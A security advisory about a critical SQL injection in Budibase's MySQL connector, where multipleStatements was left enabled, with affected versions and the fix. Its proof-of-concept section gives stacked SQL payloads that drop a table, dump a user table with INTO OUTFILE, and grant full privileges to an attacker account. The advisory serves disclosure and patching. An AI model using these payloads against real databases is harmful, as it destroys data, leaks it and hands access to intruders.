critical · 9.6Jul 24, 2026

Budibase MySQL Integration SQL Injection via multipleStatements

Penetration Testing Team Lead, SecureLayer7

Budibase's MySQL connector was configured with multipleStatements enabled, letting anyone who can submit a query string run additional arbitrary SQL commands against the database.

Package@budibase/server

Ecosystemnpm

Affected<= 3.38.1

Budibase MySQL Integration SQL Injection via multipleStatements

The problem

The MySQL integration in Budibase (packages/server/src/integrations/mysql.ts) hardcoded multipleStatements: true in its connection config. This tells the mysql2 driver to accept semicolon-separated stacked queries in a single call.

Any user who can reach a Budibase MySQL-backed query endpoint can append a second SQL statement after a semicolon. The impact ranges from data theft (SELECT INTO OUTFILE) to data destruction (DROP TABLE, DELETE) and privilege escalation (GRANT), depending on the DB user's permissions.

CVSS is scored at 9.6 critical.

Proof of concept

A working proof-of-concept for this issue in @budibase/server, with the exact payload below.

sql

-- Inject into any user-controlled field that feeds a Budibase MySQL query.
-- The first statement is the legitimate query; everything after the semicolon
-- is the attacker-supplied payload executed by the same connection.

SELECT * FROM users WHERE id = '1'; DROP TABLE sensitive_data; --

-- Data exfiltration variant:
SELECT * FROM users WHERE id = '1'; SELECT * FROM users INTO OUTFILE '/tmp/dump.csv'; --

-- Privilege escalation variant:
SELECT * FROM users WHERE id = '1'; GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'pwned'; --

The root cause is CWE-89: the mysql2 driver's multipleStatements: true flag disables its built-in stacked-query guard, allowing a single query() call to execute N semicolon-delimited statements. No sanitization or parameterization of the trailing payload was in place.

The patch diff in the advisory is one line: multipleStatements: true becomes multipleStatements: false. With that flag off, mysql2 rejects any input containing a second statement, neutralizing the injection entirely regardless of what the user supplies.

The fix

Upgrade @budibase/server to 3.40.0 or later. The fix sets multipleStatements: false in the MySQL connection config (packages/server/src/integrations/mysql.ts line ~173). Self-hosted users must update manually; Budibase Cloud was patched at release. As a short-term workaround, restrict the database account used by Budibase to SELECT-only permissions and disable the MySQL datasource until you can upgrade.

Reporter not attributed.

References: [1][2][3]

Related research